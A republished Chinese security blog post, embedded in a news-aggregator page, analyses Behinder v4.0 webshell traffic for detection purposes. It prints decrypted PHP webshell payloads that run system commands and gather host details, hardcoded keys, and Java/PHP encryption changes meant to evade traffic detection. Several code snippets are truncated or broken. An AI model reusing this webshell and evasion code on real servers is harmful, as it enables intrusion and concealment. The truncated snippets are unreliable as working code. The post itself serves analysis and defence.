最新要闻
- 全球热议:微软智能语音大升级:方言念古诗无压力
- 每日热门:特斯拉、华为问界大降价!李想:他们都得对比理想L8
- 环球今头条!俩小孩小区内5次放火引燃SUV 专家:熊孩子闯祸家长需兜底
- 每日时讯!机械硬盘大溃败:去年出货量近乎腰斩
- 大众、长安“缝合怪”?换代天籁消费者不买账 跌出B级车前十榜
- 焦点播报:国产科幻巨制!《流浪地球2》预售票房突破4000万
- 微速讯:动画扑街、电视剧成神 《三体》电影版最新进展公布
- 嫦娥五号科研成果!中国科学家精确测定月球年龄:20.3亿年
- 世界快报:迪士尼联名!美特斯邦威羽绒服大促 原价500多现1百多到手
- 画面震撼!五菱小汽车排队“坐”火车去墨西哥
- 热头条丨17岁少女晒爸爸500元买的奢侈包包遭群讽 含泪反击 结局暖心
- 天天热资讯!2023年我国新能源汽车销量可达950万辆:全球第一没跑 电池便宜到发指
- “U盘之父”朗科房东不好当:腾讯租的15层大楼突然全退了
- 今日最新!1%超级富豪拿走全球三分之二新财富:穷人越来越多 专家称应财富重分配
- 全球消息!曾被网友戏称“候机大棚” 佛山机场花2000万改造完成
- 【新视野】降价后 特斯拉订单数环比涨500%!马斯克赢麻了
手机
iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
- 警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- 男子被关545天申国赔:获赔18万多 驳回精神抚慰金
- 3天内26名本土感染者,辽宁确诊人数已超安徽
- 广西柳州一男子因纠纷杀害三人后自首
- 洱海坠机4名机组人员被批准为烈士 数千干部群众悼念
家电
焦点热文:冰蝎V4.0流量分析到攻防检测
0x01 前言
最近在改写 yso,觉得自己基础太差了,想先阅读一下 sqlmap、冰蝎以及一些其他工具的开发思路。文章可能写的不够严谨,有不对的地方还请师傅们多多指出。
0x02 环境搭建
这里我看的是 MountCloud 师傅所二开的冰蝎项目,版本是 4.0.2;其实就是通过反编译搞出来的,但是这里不要用 jd-gui 或者 jadx 这些反编译,我用的是 MountCloud 师傅自己写的反编译工具,地址:https://github.com/MountCloud/JavaDecompileTool-GUI
冰蝎项目源码地址:https://github.com/MountCloud/BehinderClientSource
【资料图】
拿到之后用 maven package 打包一下,运行 jar 包即可,同时要将 data.db 放到 jar 包同一目录下。
0x03 冰蝎的使用与流量分析
冰蝎的使用
我们看冰蝎的客户端界面,对于 shell 其实是没有输入密码模块的,其实在冰蝎当中 shell 是通过传输协议配置的。
这一传输协议的加密函数是用 Java 写的,并且 key 是默认的,不需要自己修改,我们点击生成服务端,则会生成三个 shell 文件,分别为.php
、.aspx
和.jsp
,这里我们起个环境然后连 shell(这里我是用虚拟机的环境,因为一开始用本机起一直 wireshark 抓不到流量,如果踩坑的师傅也欢迎私信和我交流)
我们可以看一下 shell.php(先对xor_base64
的传输协议进行分析,后续分析xor_base64
这种加密方式的攻防性),代码如下,此处代码和 v3.0 的相当不一样。
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
① 网安学习成长路径思维导图 ② 60+网安经典常用工具包 ③ 100+SRC漏洞分析报告 ④ 150+网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南+题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集(含答案) ⑧ APP客户端安全检测指南(安卓+IOS)
v4.0 的代码
这里的 key 就是对应的连接密码,当然在冰蝎“传输协议”当中,可以自定义密码。
v3.0 的代码
v3.0 和 v4.0 的区别很明显在于这里$_SESSION["k"]=$key
,v3.0 版本当中会把 key 作为 session 传入;接着判断extension_loaded
,也就是判断服务端是否存在openssl
拓展,如果不存在就用 base64 解码,然后使用 key 进行异或加密,这也是冰蝎 v4.0 版本当中的xor_base64
加密方式;如果服务端能够加载 openssl 拓展,就使用 AES128 解密,这里对应冰蝎 v4.0 版本当中的aes
加密方式。
冰蝎流量分析
看了网上一堆分析的文章,都在说冰蝎的通信过程可以分为两个阶段:密钥协商和加密传输
第一阶段-密钥协商
1.攻击者通过 GET 或者 POST 方法,形如http://127.0.0.1/shell.php?pass=645的请求服务器密钥;
2.服务器使用随机数 MD5 的高16位作为密钥,存储到会话的$_SESSION
变量中,并返回密钥给攻击者。
第二阶段-加密传输
1)客户端把待执行命令作为输入,利用 AES 算法或 XOR 运算进行加密,并发送至服务端;
2)服务端接受密文后进行 AES 或 XOR 运算解密,执行相应的命令;
3)执行结果通过 AES 加密后返回给攻击者。
但是我自己在分析的过程中并没有看到这个密钥协商的过程,同时也没有看到
$_SESSION
变量当中存储了 md5 的高 16 位,反而$_SESSION
变量存储的是一个 26 位的字符。不知道这里是我的问题还是冰蝎 4.0 版本就是如此。
我先选取的是xor_base64
的加密方式,我在连上马之后还执行了whoami
命令,如果不算上自己的命令执行,一共是两组流量,我们来分析一下。
第一段代码,经过xor_base64
的解密,得到如下代码
@error_reporting(0);function main($content){ $result = array(); $result["status"] = base64_encode("success"); $result["msg"] = base64_encode($content); @session_start(); echo encrypt(json_encode($result));}function encrypt($data){ $key="25f9e794323b4538"; for($i=0;$i我个人倾向于是认为冰蝎 V4.0 版本当中,这一个包涵盖了密钥协商的部分,并且在这一个包之后重置了
$_session
,而msg
和第一个包里的content
是相同的,所以我认为这一部分其实也在做密钥协商(后来看了冰蝎作者的文章,果然如此)接着我们往下看相应报文,相应报文经过
xor_base64
解密之后结果如下{"status":"c3VjY2Vzcw==","msg":"WWtpektNWU1PREpybFB6VlQwdXY1T2JoMkNsMzVmZmVPZ0pDQnZaZElKejhVaGc1ZU42NnlCYWI3YVVqakJ4U3BRcnpneEdJT3pmclR5QWFVQ2Nqa2pTVm1OTU9LNzlrNHhzRjJjd2F2OTF2WFRITG9KdWpmMHpFeU9lTmFWRmdYQUdPT0loaHJKM0JSMkZNaUo5VjZwWGtwb2xQUWNyWGY1UzBuV05SYkE5eHFacmZUM3B4UG1jR3l2RTcxUUtCSkhMa0NJdms5NzdYM2FmZWFmazd4bkpHYlc0MVloNWV4YUp5Q05MTEZVemVaQkNOOUVvUjhNell4cUY3NzJFenp3bXFPbVQ1emxPNjVDUE5DR2JGVzlpc1k2MVlMTVY5WHBKYzRrdjVjcEJmU3NGTkRFbHhvM282MlZvV1FGUjRqTHY3eVY5am9BUVRLcFRiaWVmTmJuQVJidmJQZmlNeFhKTm9QbzVMZWNmNDIxNlZNY000cXJySzVYeEY3ajA1TlpWd3R6MExZZUdNaXlWTmE3bzgyb0xQVVk3ZThaaUhta0x6OVdnbVd5SmpIUVQ5UWhORm8ybVRtNTZPMDhIRHpyMkVhRmpYd3YyWWQ4SjZCZjdHWEtNTGo1OXpHdEgxb2Nqa2dyTHpUMWcwaGtSeTZaRVdyY2NRaEJOZHVwcTlvME9wY1loYTNiSXU0c1lkQk04OFNSaDJGUUxxR0k1TzdIMWVvN0NJTjRRSmpvbUtqMXVVWEFwREVHeGFCMlJZdXU5VWh1MHJwMkdESEdkUHVzaEJBTEdwYUJjZkRBR0ZacjF6ME5XQlBJcnNMS2NoZ2NsNEdFZkY0YmJCVkR1ZXo0bFV3Tm1wc1pzQ0FqRWNDTXNkWmtBUUJwb3Y5YndOTW9peWVSVUcwTUVUQjdYZ096YjVxQjFMaHByWVV2OFV3N1pGNFJYQkNZcnlCd0xHckdkbjVMaHdIazFNVUxvRkpoU0dPaURlRzAzMnhZbEM5ekRjVmUxMlhkbFMwa2YxVGJRUzlyck5OSDF2TzNKZ1NiOTJ2NkhjMWxXaWxJVDlLa1hwVnFZOEhEc1U4bVg4MHF0bktsbkdCcHVsRUUyb2djZlkwR2FVY1RxM09aZXFMeUtlNWFBdzNhTEM2VlFrZFI2MHZwVENlZ1ZMWTBiN3lOTHBMN3A4TmFVMHVOUmNaNXl6cTRQSEhJNk5UakltTEhDUzlPRTREeUtGcm0xbk1KOUdPZEJsdEljOG5FclNiVFl2Q1padkY3YlNnYmhsanEwbWphem1vb21wWld0ZWlCSjM5NGxlbEpYWVVHWFN3dzIyOVd5SzZBdUNZSEU3S3V0TERHbWhCbnI1b0RScm1ySFh6bmx1aDUwTm4wb09ZZDYwTDFNcnpiQzJuQTdXOWVSRk45M0drc2p0MDhRSTByaW1QbDg3Ykw2MmZid0RXcFRxZjhwa3E3eXJWZ0p0N3Z0WVdHeVVxd0lnaE9ibVI4b1pvR0tiTFpOTW53akZlcDJ4ZWVzMnF2dktwTDBkNVZCblhiMmhhcHkzdFplOXpJQVpzWHE5OFFSTTJSUzMzWkt0cXhERWZLWElpcnh4aEhhZndyc1Q4OVN4bUVGUTVTOThsM016dDMwR0JMbUxENnNLQmZLYkQ4ekRRU0xJdGo5ME41Zzg2eng4NjRTeURBa0hPTGJYUnVISWRJeE1Manp6aTV6YjNnbENwTTFXenpVZVlacExyVW13QXJrTEJaanFhQTdQZTlUZWY2ZlJURWhwQmNxUUE2N09ZZnduVFB3akdwazY3Q2wxS3ZmSzFOeDRWQVRVR2tGZjY1enZoa0NDWVNqYWVGN0hCUFEzc3lJa2puVUI3TEdZSERVNDVVNHI1ZUxOTGVCc0Fhb1NSeUtuT3RCQ3Jsd05HTWxGejFYclZkc0NRMUIwWXRGS3FUd25NZVVmd3NzcGdPZWNFTW0xYnd3WnJKVlZSVG0zY29ZWk5HellrZExCS011WFN5dWVaRFVnc1dDWFdRTlJNcmUyVWJXa0hvYnA5QmF5U25GZ01MaXVKV2pXNFRqek9mekFJa2h2c2FwNlF4VTBjVVZxNXJhaGJGaW9VYTREVERPbTJoS055bk1uQWdVTnZFR1BUNXR2eWNQWEpVa2R4em9yb3dMc2RzY2dWYldGMXFSdEJKc0xQQlJsZ2Y4OWE4QWUxUHNqNms1OE9CRGhBMzRiOERYMTJ4OTZDYUNzZFBWMlJFWFEzdENHSFdZblJNb1FOclFSdXhZZjhPQmVNVm9IUjBiblJnV0RLWGI3ZWZhc2owYUl4Q1c2eDNRQkdQTXNsQmtoQW5UUnVYc0xFRGN5eENlNjBDdHhXN3hpaHA5Skc3S2tKbW5PUlNneWZiYXRvZG9EMHVHajhCQUYzRThuM3NHbVNCdEFkdk9OWjB0T3BPUVgzaW10Rks1QUFTeGJ4RHZZTGM4d2RBQXI4ZmUxQU5kRmVJUGhiUWxha0hIUmp3bmVhNnpNcTA4R0ZreFFPTFhOOExSMlZVdlBUYlowV1FPUXh0azhQVW0zaVM3YkhaeVAzVzdsVkJ0N2EwQjE5aUJicWkxbjNQenpLdWhURXJKTzE5Mm5JemxOREpTQm55cUJ4U0IwcERjZ0RoWHFQdG42VHAzQkh4eEJWUzVpVFczU1FPeHlVVmwydGdoWVphb3NzTGlsWWdVcnVBMEQwYjdKVlpqZ1lMV0dhcmdrZjZpa3dVSDNWZVZlN0FIemZWRHdJVFlpUTNPOFJSUjkwOEwwWkp0Y1ZSUzBZMWYwMDBQaHFSWGE2aDhpZWpnWXQ1V3UzWlZYZ1BJM0N3c1ZnVVB0eElWM0xUMHkyV3VDcDJLc2RDVEQyRXBKMzVKUnpCTWd3dTFhajBvaWlyaXBGY04zbmpyQjBESE1Xck5tMFRNUWZvTU9uSTYzcXhxTE1kcngyelhmTlFmbTNKTWRKTDRONUtYSXZRYmI4Q090bHNsVG1oRmVMbEQzUWFWTmJEYUxXdEZhRTltNHdIRHl2eGM3b3lGVHBZYWdWTUNHM3BrMVJscTM2OFRYS1RhSmRTYVgyNmcyalhZNjBjb0RZalJ3QkpPWVlkb01DUzVoRGY3SWdZSkNNMUxLenlXZEtQSUtDaUpoTnQ5S2FXNlFnR0pNZUxxUVJ3R0FnNDQ3cmc1M2c0a1ptSW5oNDBTbGFpQnB3a3p5MWVnb0JvVXhZa2FOZnVJTGFvNXhZb2FYOHRZTjhBNHlxTjlJRWszY0tuVVNqTjRST0RMUHh0ZGlHRnNWSWxabkpQVFVjUnVyclRWbGV3SE05UXVydU14d1hXdjdHT205cjdISG9sOUsxbUExNDh4bGMzZU5IeVl3VmJRVHFoeUlWZGQ5b0JMeTlqOXZ0UkFnV250TE5tWmtZRUxvbXdHV0xUN2k5MnJGZ2VLZERPd1M1ZUtsVg=="}经过 base64 解密,
status
对应的是 success,证明能够收到这个包,并且和前面对照上。继续分析下一个包,代码如下,这里就进行了命令执行
error_reporting(0);function main($whatever) { $result = array(); ob_start(); phpinfo(); $info = ob_get_contents(); ob_end_clean(); $driveList =""; if (stristr(PHP_OS,"windows")||stristr(PHP_OS,"winnt")){ for($i=65;$i<=90;$i++) { $drive=chr($i).":/"; file_exists($drive) ? $driveList=$driveList.$drive.";":""; } } else { $driveList="/"; } $currentPath=getcwd(); //echo "phpinfo=".$info."\n"."currentPath=".$currentPath."\n"."driveList=".$driveList; $osInfo=PHP_OS; $arch="64"; if (PHP_INT_SIZE == 4) { $arch = "32"; } $localIp=gethostbyname(gethostname()); if ($localIp!=$_SERVER["SERVER_ADDR"]) { $localIp=$localIp." ".$_SERVER["SERVER_ADDR"]; } $extraIps=getInnerIP(); foreach($extraIps as $ip) { if (strpos($localIp,$ip)===false) { $localIp=$localIp." ".$ip; } } $basicInfoObj=array( "basicInfo"=>base64_encode($info), "driveList"=>base64_encode($driveList), "currentPath"=>base64_encode($currentPath), "osInfo"=>base64_encode($osInfo), "arch"=>base64_encode($arch), "localIp"=>base64_encode($localIp)); //echo json_encode($result); $result["status"] = base64_encode("success"); $result["msg"] = base64_encode(json_encode($basicInfoObj)); //echo json_encode($result); //echo openssl_encrypt(json_encode($result), "AES128", $key); echo encrypt(json_encode($result)); } function getInnerIP() { $result = array(); if (is_callable("exec")) { $result = array(); exec("arp -a",$sa); foreach($sa as $s) { if (strpos($s,"---")!==false) { $parts=explode(" ",$s); $ip=$parts[1]; array_push($result,$ip); } //var_dump(explode(" ",$s)); // array_push($result,explode(" ",$s)[1]); } } return $result; } function encrypt($data) { $key="25f9e794323b4538"; for($i=0;$i
这里我不太明白传入的
$whatever
是做什么的,感觉没什么用,这个脚本本质上还是在运行phpinfo()
的命令执行。把相应包解密出来,内容如下
{"status":"c3VjY2Vzcw==","msg":"xxx略,篇幅太长"}把这一串 msg 内容放到 base64 解密,不难发现响应内容其实就是
phpinfo()
的命令回显。至于后面的命令执行部分,是比较好分析的
把流量包提取出来,进行解密
@error_reporting(0);function getSafeStr($str){ $s1 = iconv("utf-8","gbk//IGNORE",$str); $s0 = iconv("gbk","utf-8//IGNORE",$s1); if($s0 == $str){ return $s0; }else{ return iconv("gbk","utf-8//IGNORE",$str); }}function main($cmd,$path){ @set_time_limit(0); @ignore_user_abort(1); @ini_set("max_execution_time", 0); $result = array(); $PadtJn = @ini_get("disable_functions"); if (! empty($PadtJn)) { $PadtJn = preg_replace("/[, ]+/", ",", $PadtJn); $PadtJn = explode(",", $PadtJn); $PadtJn = array_map("trim", $PadtJn); } else { $PadtJn = array(); } $c = $cmd; if (FALSE !== strpos(strtolower(PHP_OS), "win")) { $c = $c . " 2>&1\n"; } $JueQDBH = "is_callable"; $Bvce = "in_array"; if ($JueQDBH("system") and ! $Bvce("system", $PadtJn)) { ob_start(); system($c); $kWJW = ob_get_contents(); ob_end_clean(); } else if ($JueQDBH("proc_open") and ! $Bvce("proc_open", $PadtJn)) { $handle = proc_open($c, array( array( "pipe", "r" ), array( "pipe", "w" ), array( "pipe", "w" ) ), $pipes); $kWJW = NULL; while (! feof($pipes[1])) { $kWJW .= fread($pipes[1], 1024); } @proc_close($handle); } else if ($JueQDBH("passthru") and ! $Bvce("passthru", $PadtJn)) { ob_start(); passthru($c); $kWJW = ob_get_contents(); ob_end_clean(); } else if ($JueQDBH("shell_exec") and ! $Bvce("shell_exec", $PadtJn)) { $kWJW = shell_exec($c); } else if ($JueQDBH("exec") and ! $Bvce("exec", $PadtJn)) { $kWJW = array(); exec($c, $kWJW); $kWJW = join(chr(10), $kWJW) . chr(10); } else if ($JueQDBH("exec") and ! $Bvce("popen", $PadtJn)) { $fp = popen($c, "r"); $kWJW = NULL; if (is_resource($fp)) { while (! feof($fp)) { $kWJW .= fread($fp, 1024); } } @pclose($fp); } else { $kWJW = 0; $result["status"] = base64_encode("fail"); $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available"); $key = $_SESSION["k"]; echo encrypt(json_encode($result)); return; } $result["status"] = base64_encode("success"); $result["msg"] = base64_encode(getSafeStr($kWJW)); echo encrypt(json_encode($result));}function encrypt($data){ $key="25f9e794323b4538"; for($i=0;$i一些疑问和改进点
简单来说,如果作为蓝队,需要严格分析的是第三个流量包,也就是命令执行的流量包,这也最容易分析。在学习阶段我也思考了具体的几个点
1、连马是如何连上的,看起来 shell.php 需要我们 post 传入
$data
,这一步在流量分析中并没有抓到。2、针对
aes
,xor_base64
进行加密的防御型脚本检测。3、冰蝎的改写,是否可以采用新型加密方式。
0x04 冰蝎传输与攻防
冰蝎传输与连马&命令执行
一开始这里我也不太理解,后面在看了冰蝎作者的文章之后恍然大悟,原文链接 ——https://mp.weixin.qq.com/s/EwY8if6ed_hZ3nQBiC3o7A
冰蝎 v4.0 版本不再有连接密码的概念,你的自定义传输协议的算法就是连接密码。按照冰蝎 3.0 版本当中的密码依旧是 "rebeyond",但是冰蝎 v4.0 的马使用蚁剑,以 "rebeyond" 作为密码是连不上的(亲测
在流量层,冰蝎的 aes 特征一直是厂商查杀的重点,在主机层,aes 相关的 API 也是一个强特征。既然是特征,那就一定存在一个一成不变的常量,那我们就把这个特征泛化一下,让他成为变量。为了一劳永逸解决这个问题,v4.0 版本提供了传输协议自定义功能,让用户对流量的加密和解密进行自定义,实现流量加解密协议的去中心化。
首先看一下冰蝎Payload流转的流程图:
可以分为这五个流程
1、本地对 Payload 进行加密,然后通过 POST 请求发送给远程服务端;
2、服务端收到 Payload 密文后,利用解密算法进行解密;
3、服务端执行解密后的 Payload,并获取执行结果;
这三步的基础是 shell.php,通过 post 请求传 body
在第一次传输的时候,做了密钥协商与指纹确认的事情,冰蝎需要先确定你(受攻击端)确实是能够和我(本地攻击者)进行加解密,或者说可以进行数据传输,这也就是第一次发包。
对应的代码如下,这是冰蝎当中
payload/php
下的代码 ————Echo.php
在实际传输过程中会发现冰蝎发包时多了一个
encrypt()
函数,我后续会对这一现象进行解释。@error_reporting(0);function main($content){ $result = array(); $result["status"] = base64_encode("success"); $result["msg"] = base64_encode($content); @session_start(); //初始化session,避免connect之后直接background,后续get result无法获取cookie echo encrypt(json_encode($result));}function encrypt($data){ $key="25f9e794323b4538"; for($i=0;$i在这一次内容传输结束之后,冰蝎确认被攻击端与本地可以建立传输,才会发第二次包,也就是执行
phpinfo()
命令,代码略。接着
4、服务端对 Payload 执行结果进行加密,然后返回给本地客户端;
5、客户端收到响应密文后,利用解密算法解密,得到响应内容明文。
响应内容略,在上文中已经提到过。
由上述流程可知,一个完整的传输协议由两部分组成,本地协议和远程协议。由于客户端使用 Java 开发,因此本地协议的加解密算法需要用 Java 实现。远程协议根据服务端语言类型,可能为
Java
、PHP
、C#
、ASP
。无论用哪种语言,同一个名称的传输协议,本地和远程的加解密逻辑应该是一致的,这样才能实现本地加密后,远程可以成功解密,远程加密后,本地同样也可以解密。如下是一个最简单的 php 版本的传输协议:
传输协议的加解密函数名称分别为 Encrypt 和 Decrypt,且都只有一个入参,参数类型为二进制字节流。这也就是为什么在
shell.php
中存在一个Decrypt()
函数,且每一次的发包中有encrypt()
函数的原因。如此一来就实现了这一个条件 ———— 本地有一对加解密的函数,由 Java 编写;远程端(受攻击端)存在一对加解密的函数,由对应远程端的语言决定,如果是 php 就是由 php 编写,若是 asp 就由 asp 编写(亲测如此)针对冰蝎
xor_base64
的检测脚本编写内容是基于 LiRiu 师傅的文章写的
我认为的脚本编写,不应该是针对某个 User-Agent 或者是 Payload 开头等进行单一的判断,为了很多正常请求的通过,这些判断一定是需要综合考虑的。
因此合理的方式应该是记分的,判断恶意性的大小。我们先来看冰蝎在第二次连接的时候,也就是请求
phpinfo()
时的包针对一些 HTTP 头的检测
HTTP 请求头
它的几个 Accept 头通常是固定的,所以这里可以作为一个主判断点
Accept: application/json, text/javascript, */*; q=0.01Accept-Encoding: identityAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7有的师傅说冰蝎 4.0 当中的 UA 是十选一的,我觉得这里占比相当小,并不需要将 UA 加入进判断规则当中。
Content-Length 较大
Content-Length: 8244可以作为辅助特征进行检测。
冰蝎通讯默认使用长连接
造成的影响是包中存在如下 HTTP 头,可以作为辅助特征进行检测。
Connection: Keep-Alive端口检测
冰蝎与 webshell 建立连接的同时,javaw 也与目的主机建立 tcp 连接,每次连接使用本地端口在 49700 左右,每连接一次,每建立一次新的连接,端口就依次增加。此处可以对符合该范围内的端口告警。
针对恶意脚本内容的检测
冰蝎 shell 当中的恶意 php 脚本,头都是一样的,以
@error_reporting
开头@error_reporting(0); function main所以对于这一段,个人认为是可以作为主要检测规则的,所以此处需要先写一个
xor_base64
,单纯检测恶意脚本的 python 程序如下from base64 import b64decodephrases = [ "assert|eval(base64_decode("".encode(), b"\n@error_reporting(0);\n\nfunctio", b"\nfunction main($action, $remot", b"\n@error_reporting(0);\nset_time", b"\nerror_reporting(0);\n\nfunction m", b"\n@error_reporting(0);\n\n\nfuncti", b"\nerror_reporting(0);\nfunction ", b"@error_reporting(0);\nfunction ma", b"接着加上辅助判断
def auxiliaryPoints(HeaderData): # 辅助判断的函数 evilPoint = 0 list = [] LightBlacklist = [ b"Accept: application/json, text/javascript, */*; q=0.01", b"Accept-Encoding: identity", b"Connection: Keep-Alive", ] for temp in HeaderData: list.append(temp) lenData = 0 while lenData <= HeaderData.length(): if(list[lenData].contains(LightBlacklist)): evilPoint = evilPoint + 10 return evilPointLiRiu 师傅的可以,但是我自己的包失败了。。
冰蝎马的改写与绕过 tips
冰蝎作者提出了一种非常巧妙的绕过方式,也就是在 AES 加密的时候增加一个小尾巴,这个尾巴存在自定义的可能性,也就让很多设备难以进行检测了。
加密算法
本地默认的 aes 传输协议加密算法如下:
private byte[] Encrypt(byte[] data) throws Exception { String key="e45e329feb5d925b"; byte[] raw = key.getBytes("utf-8"); javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(raw, "AES"); javax.crypto.Cipher cipher =javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");// "算法/模式/补码方式" cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec); byte[] encrypted = cipher.doFinal(data); Class baseCls; try { baseCls=Class.forName("java.util.Base64"); Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null); encrypted= (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted}); } catch (Throwable error) { baseCls=Class.forName("sun.misc.BASE64Encoder"); Object Encoder=baseCls.newInstance(); String result=(String) Encoder.getClass().getMethod("encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted}); result=result.replace("\n", "").replace("\r", ""); encrypted=result.getBytes(); } return encrypted; }服务端是 PHP,使用默认的 aes 算法,但是由于默认使用的是 aes128 的算法,会导致密文长度恒是 16 的整数倍,流量设备可能通过这个特征来对冰蝎做流量识别,我现在想对默认算法做一个简单修改,在密文最后最加一个 magic 尾巴,随机产生一个随机长度的额外字节数组
修改后本地:
private byte[] Encrypt(byte[] data) throws Exception{ String key="e45e329feb5d925b"; byte[] raw = key.getBytes("utf-8"); javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(raw, "AES"); javax.crypto.Cipher cipher =javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");// "算法/模式/补码方式" cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec); byte[] encrypted = cipher.doFinal(data); Class baseCls; try { baseCls=Class.forName("java.util.Base64"); Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null); encrypted= (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted}); } catch (Throwable error) { baseCls=Class.forName("sun.misc.BASE64Encoder"); Object Encoder=baseCls.newInstance(); String result=(String) Encoder.getClass().getMethod("encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted}); result=result.replace("\n", "").replace("\r", ""); encrypted=result.getBytes(); } //增加魔法尾巴 int magicNum=Integer.parseInt(key.substring(0,2),16)%16; java.util.Random random=new java.util.Random(); byte[] buf=new byte[magicNum]; for (int i=0;i远程
由于我们目前假设的是一个 PHP 的目标环境,远程加密函数采用 PHP 格式编写,如下:
function Encrypt($data) { $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond $encrypted=base64_encode(openssl_encrypt($data, "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING)); $magicNum=hexdec(substr($key,0,2))%16; //根据密钥动态确定魔法尾巴的长度 for($i=0;$i<$magicNum;$i++) { $encrypted=$encrypted.chr(mt_rand(0, 255)); //拼接魔法尾巴 } return $encrypted; }解密算法
在加密算法中,我们在原版 aes 的基础上,在密文最后追加了一段魔法尾巴,尾巴长度为秘钥的前两位十六进制对应的数值对 16 取模的值。在解密时,我们只需要在原版 aes 解密函数的基础上,把密文最后的尾巴截掉即可。分别对 Java 版本和 PHP 版本的解密函数做修改。
本地
private byte[] Decrypt(byte[] data) throws Exception{ String k="e45e329feb5d925b"; int magicNum=Integer.parseInt(k.substring(0,2),16)%16; //取magic tail长度 data=java.util.Arrays.copyOfRange(data,0,data.length-magicNum); //截掉magic tail javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");c.init(2,new javax.crypto.spec.SecretKeySpec(k.getBytes(),"AES")); byte[] decodebs; Class baseCls ; try{ baseCls=Class.forName("java.util.Base64"); Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null); decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data}); } catch (Throwable e) { baseCls = Class.forName("sun.misc.BASE64Decoder"); Object Decoder=baseCls.newInstance(); decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)}); } return c.doFinal(decodebs);}远程
function Decrypt($data) { $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond $magicNum=hexdec(substr($key,0,2))%16; //取magic tail长度 $data=substr($data,0,strlen($data)-$magicNum); //截掉magic tail return openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING); }从理论上来说,这一种方式也可以绕过
xor_base64
的检测0x05 小结
对于冰蝎 4.0 版本的分析大部分还是由自己独立完成,在还没有看作者写的内容的时候就意识到了传输协议的本质,冰蝎 4.0 写的确实非常厉害。
而在作者的文章当中也提供了很有启发性的思维 ———— 尽量以算法的方式改写冰蝎的攻击。
更多靶场实验练习、网安学习资料,请点击这里>>
焦点热文:冰蝎V4.0流量分析到攻防检测
剑灵武神塔怎么进?剑灵武神塔20层苏向阳怎么打?
安卓手机相册在哪个文件夹?安卓手机相册怎么加密?
appsync是什么意思?如何安装appsync?
安卓系统怎么升级?安卓系统和鸿蒙系统哪个好?
全球热议:微软智能语音大升级:方言念古诗无压力
每日热门:特斯拉、华为问界大降价!李想:他们都得对比理想L8
环球今头条!俩小孩小区内5次放火引燃SUV 专家:熊孩子闯祸家长需兜底
每日时讯!机械硬盘大溃败:去年出货量近乎腰斩
大众、长安“缝合怪”?换代天籁消费者不买账 跌出B级车前十榜
世界热消息:学习笔记——Spring底层IOC实现;Spring依赖注入数值问题;Spring依赖注入方式
速读:FlinkSQL 时间类型转化使用小结
焦点播报:国产科幻巨制!《流浪地球2》预售票房突破4000万
微速讯:动画扑街、电视剧成神 《三体》电影版最新进展公布
嫦娥五号科研成果!中国科学家精确测定月球年龄:20.3亿年
世界快报:迪士尼联名!美特斯邦威羽绒服大促 原价500多现1百多到手
画面震撼!五菱小汽车排队“坐”火车去墨西哥
天天百事通!LibreOJ L6210 「美团 CodeM 决赛」tree
读编程与类型系统笔记09_泛型数据结构
热头条丨17岁少女晒爸爸500元买的奢侈包包遭群讽 含泪反击 结局暖心
天天热资讯!2023年我国新能源汽车销量可达950万辆:全球第一没跑 电池便宜到发指
“U盘之父”朗科房东不好当:腾讯租的15层大楼突然全退了
今日最新!1%超级富豪拿走全球三分之二新财富:穷人越来越多 专家称应财富重分配
全球消息!曾被网友戏称“候机大棚” 佛山机场花2000万改造完成
【新视野】降价后 特斯拉订单数环比涨500%!马斯克赢麻了
盗版阿凡达2合法后!Intel、微软、NV等低调回俄罗斯 身体诚实
环球信息:联想小新Pro 2023魔改140W快充 搭载新一代聚能电池有多强?
滚动:要么卸载、要么盗版!视频平台赚钱只能靠“割韭菜”:你无力反抗?
2个大厂 100亿级 超大流量 红包 架构方案 (史上最全)
VUEX 的使用学习二: state
环球时讯:我的2022
每日时讯!疑似被王思聪殴打者发声:没有赔209万 具体金额闭口不提
天天热推荐:小米最强旗舰!曝小米13 Ultra提供16+512GB版本
天天新动态:小米MIX Fold 2推送MIUI 14稳定版:系统大精简、支持光子引擎
女子网购100根仙女棒 收到100根铁丝:商家一句话噎死人
AMD Zen4锐龙终于要真正便宜了!果断坐等
【天天速看料】洛谷P2294. [HNOI2005] 狡猾的商人
当前关注:轻松解决 CSS 代码都在一行的问题
Cookie 会话身份验证是如何工作的?
世界速看:以太坊签名从数学原理到安全应用
焦点滚动:女子买老陈醋买到“老陈西昔”:雷碧、康帅傅、娃啥啥等山寨货防不胜防
全球观点:国内供不应求的红魔8 Pro亮相海外:配置变了
威武!北京跻身全球百强科技集群前三 研发强度超纽约
